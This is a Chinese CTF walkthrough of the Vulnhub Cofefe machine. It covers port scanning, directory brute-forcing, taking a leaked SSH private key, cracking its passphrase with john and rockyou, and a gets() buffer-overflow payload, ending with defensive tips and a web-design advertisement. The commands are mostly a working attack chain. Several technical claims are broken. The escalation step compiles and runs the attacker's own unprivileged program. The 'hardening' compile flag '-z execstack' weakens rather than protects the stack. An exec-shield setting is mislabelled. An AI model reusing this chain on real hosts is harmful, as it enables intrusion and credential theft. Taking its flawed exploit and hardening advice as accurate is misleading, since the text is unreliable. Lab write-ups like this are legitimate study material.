☰
Vulnhub Cofefe靶场渗透:从.ssh目录泄露到本地提权的5个关键步骤
2026/10/9 14:13:27 网站建设 项目流程

Vulnhub Cofefe靶场渗透实战:从SSH密钥泄露到本地提权的完整攻击链解析

靶场环境与攻击路径概览

Cofefe是Vulnhub平台上一台专注于SSH安全与本地提权训练的Linux靶机,包含三个需要获取的flag。与常规CTF靶机不同,其设计重点在于:

  • 非常规端口暴露:关键Web服务运行在31337端口而非80端口
  • 多层认证绕过:通过.ssh目录泄露实现身份认证突破
  • 二进制漏洞利用:存在可被利用的SUID程序实现权限提升

典型攻击路径如下:

信息收集 → Web目录爆破 → .ssh密钥泄露 → SSH认证绕过 → 本地缓冲区溢出提权

1. 信息收集与攻击面发现

1.1 主机发现与端口扫描

在NAT网络环境下使用nmap进行基础扫描:

nmap -sP 192.168.5.0/24 nmap -sS -p- 192.168.5.163

关键发现:

端口服务备注
22SSH常规管理端口
80HTTPNginx默认页面
31337HTTP隐藏Web服务入口

1.2 Web目录深度探测

针对31337端口使用dirb进行目录爆破:

dirb http://192.168.5.163:31337 /usr/share/wordlists/dirb/common.txt

敏感目录发现:

  • /.ssh/
  • /robots.txt
  • /taxes/

提示:在CTF环境中,robots.txt和.ssh目录往往是突破口的第一选择

2. SSH密钥利用与认证绕过

2.1 密钥文件分析

访问.ssh目录发现以下文件:

id_rsa # 私钥文件 id_rsa.pub # 公钥文件 authorized_keys # 认证密钥列表

通过公钥信息确认关联用户:

cat id_rsa.pub # ssh-rsa AAAAB3N... simon@cofefe

2.2 私钥密码破解

使用ssh2john转换私钥格式:

ssh2john id_rsa > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash

破解结果:

Proceeding with wordlist:/usr/share/wordlists/rockyou.txt starwars (id_rsa)

2.3 SSH会话建立

设置私钥权限并连接:

chmod 600 id_rsa ssh -i id_rsa simon@192.168.5.163

连接后检查:

whoami # simon id # uid=1000(simon) gid=1000(simon) groups=1000(simon)

3. 本地提权技术深度剖析

3.1 敏感文件发现

在用户目录发现可疑C程序:

find / -user simon -type f 2>/dev/null /home/simon/read_message.c

分析程序漏洞特征:

#include <stdio.h> #include <string.h> int main() { char buf[20]; printf("Enter your message: "); gets(buf); // 危险函数:无边界检查 if(strncmp(buf, "simon", 5) == 0) { printf("Hello %s\n", buf); } else { printf("Access denied\n"); } return 0; }

3.2 缓冲区溢出利用

漏洞利用要点:

  1. 前5字符需匹配"simon"
  2. buf数组仅20字节空间
  3. gets()函数无长度限制

构造payload:

python -c 'print "simon" + "A"*15 + "\xef\xbe\xad\xde"'

提权操作:

gcc -o read_message read_message.c ./read_message < payload

注意:实际exploit需根据内存地址调整,此处为概念演示

4. 攻击链强化与替代方案

4.1 当私钥加密时的备选方案

若ssh私钥有密码保护且无法破解:

  1. 检查Web应用的其他漏洞(如文件包含、RCE)
  2. 尝试其他服务端口(如FTP、SMB)
  3. 利用Cron Jobs或SUID程序提权

4.2 多维度提权检查清单

SUID检查:

find / -perm -4000 -type f 2>/dev/null

Cron Jobs检查:

cat /etc/crontab ls -la /etc/cron.*

内核漏洞检查:

uname -a searchsploit linux kernel 3.13.0

5. 防御措施与安全建议

5.1 SSH安全加固

  • 禁用密码认证,仅允许密钥登录
  • 限制.ssh目录权限(700)
  • 使用强密码保护私钥文件

5.2 系统防护方案

# 禁用危险函数 echo "kernel.exec-shield = 1" >> /etc/sysctl.conf # 限制SUID程序 chmod u-s /path/to/program # 启用ASLR echo 2 > /proc/sys/kernel/randomize_va_space

5.3 开发安全规范

  • 使用fgets替代gets等危险函数
  • 编译时添加安全选项:
gcc -fstack-protector -z execstack -o program program.c

通过本靶场实战可见,一个看似简单的.ssh目录泄露可能引发完整的权限沦陷链。在真实环境中,建议定期进行:

  • 敏感文件权限审计
  • 冗余服务清理
  • 安全开发培训
  • 渗透测试演练

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询